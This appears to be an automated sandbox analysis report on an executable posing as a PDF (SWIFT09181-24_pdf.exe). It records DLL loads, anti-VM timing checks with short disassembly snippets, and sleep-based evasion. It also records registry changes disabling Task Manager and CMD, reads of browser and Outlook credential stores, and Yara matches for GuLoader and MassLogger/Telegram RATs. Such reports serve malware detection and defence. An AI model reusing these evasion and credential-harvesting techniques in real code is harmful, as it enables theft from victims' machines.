Code function: 0_2_00402095 CoCreateInstance,

0_2_00402095

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens

Jump to behavior

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

File created: C:\Users\user\AppData\Local\Temp\nsl95A3.tmp

Jump to behavior

Source: SWIFT09181-24_pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.0000000037A15000.00000004.00000800.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.0000000037A33000.00000004.00000800.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.0000000037A25000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SWIFT09181-24_pdf.exe

ReversingLabs: Detection: 23%

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

File read: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe "C:\Users\user\Desktop\SWIFT09181-24_pdf.exe"
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process created: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe "C:\Users\user\Desktop\SWIFT09181-24_pdf.exe"
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process created: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe "C:\Users\user\Desktop\SWIFT09181-24_pdf.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Benchership141.lnk.0.dr

LNK file: ..\..\..\mindevrdigt\boghandlermedhjlperens.tor

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: SWIFT09181-24_pdf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000000.00000002.2618839198.0000000003647000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 0_2_10002DE0 push eax; ret		0_2_10002E0E
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_3_001949CC push eax; iretd		5_3_001949CD

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

File created: C:\Users\user\AppData\Local\Temp\nsw967F.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	API/Special instruction interceptor: Address: 38706D5
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	API/Special instruction interceptor: Address: 23C06D5

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	RDTSC instruction interceptor: First address: 383617B second address: 383617B instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FE095583850h 0x00000006 cmp si, 7264h 0x0000000b cmp bh, ch 0x0000000d inc ebp 0x0000000e push ecx 0x0000000f mov ecx, 594355BFh 0x00000014 cmp ecx, 06h 0x00000017 jng 00007FE0955BE793h 0x0000001d pop ecx 0x0000001e inc ebx 0x0000001f cmp bl, FFFFFFA5h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	RDTSC instruction interceptor: First address: 238617B second address: 238617B instructions: 0x00000000 rdtsc 0x00000002 cmp ebx, ecx 0x00000004 jc 00007FE0946B7E60h 0x00000006 cmp si, 7264h 0x0000000b cmp bh, ch 0x0000000d inc ebp 0x0000000e push ecx 0x0000000f mov ecx, 594355BFh 0x00000014 cmp ecx, 06h 0x00000017 jng 00007FE0946F2DA3h 0x0000001d pop ecx 0x0000001e inc ebx 0x0000001f cmp bl, FFFFFFA5h 0x00000022 rdtsc

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Memory allocated: 110000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Memory allocated: 37930000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Memory allocated: 377E0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Thread delayed: delay time: 599779	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Thread delayed: delay time: 599453	Jump to behavior

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Window / User API: threadDelayed 984

Jump to behavior

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsw967F.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

API coverage: 0.2 %

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe TID: 3896	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe TID: 3896	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe TID: 3896	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe TID: 6072	Thread sleep count: 984 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe TID: 3896	Thread sleep time: -599779s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe TID: 3896	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe TID: 3896	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe TID: 3896	Thread sleep time: -599453s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Last function: Thread delayed
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 0_2_00405846 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405846
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 0_2_004027FB FindFirstFileW,	0_2_004027FB
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 0_2_00406398 FindFirstFileW,FindClose,	0_2_00406398
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_00405846 GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	5_2_00405846
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_004027FB FindFirstFileW,	5_2_004027FB
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_00406398 FindFirstFileW,FindClose,	5_2_00406398

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Thread delayed: delay time: 599779	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Thread delayed: delay time: 599453	Jump to behavior

Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2929742720.00000000073BB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2929742720.00000000073ED000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	API call chain: ExitProcess graph end node			graph_0-3943
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	API call chain: ExitProcess graph end node			graph_0-3762

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Process created: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe "C:\Users\user\Desktop\SWIFT09181-24_pdf.exe"

Jump to behavior

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Queries volume information: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Code function: 0_2_00406077 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406077

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 00000005.00000002.2951065563.0000000037A5A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SWIFT09181-24_pdf.exe PID: 6020, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000005.00000002.2951065563.0000000037A5A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SWIFT09181-24_pdf.exe PID: 6020, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000005.00000002.2951065563.0000000037A5A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SWIFT09181-24_pdf.exe PID: 6020, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 00000005.00000002.2951065563.0000000037A5A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SWIFT09181-24_pdf.exe PID: 6020, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000005.00000002.2951065563.0000000037A5A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SWIFT09181-24_pdf.exe PID: 6020, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
